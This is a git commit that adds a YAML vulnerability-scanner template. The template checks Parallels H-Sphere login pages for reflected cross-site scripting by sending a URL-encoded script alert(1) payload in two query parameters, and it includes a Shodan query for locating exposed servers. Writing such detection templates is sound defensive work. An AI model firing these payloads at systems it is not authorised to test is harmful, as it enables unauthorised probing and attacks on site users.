Create parallels-hsphere-xss.yaml

patch-1
Ritik Chaddha 2022-06-30 16:23:38 +05:30 committed by GitHub
parent 4d6990ae82
commit 4c862b96cf
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 37 additions and 0 deletions

View File

@ -0,0 +1,37 @@
id: parallels-hsphere-xss
info:
name: Parallels H-Sphere - Cross-Site Scripting(XSS)
author: ritikchaddha
severity: medium
description: |
H-Sphere is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data. An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
reference:
- https://www.exploit-db.com/exploits/32396
metadata:
verified: true
shodan-query: title:"h-sphere"
tags: parallels,hsphere,xss
requests:
- method: GET
path:
- '{{BaseURL}}/webshell4/login.php?err=%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E'
- '{{BaseURL}}/webshell4/login.php?login=%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E'
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
words:
- 'value="\"><script>alert(1)</script>'
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200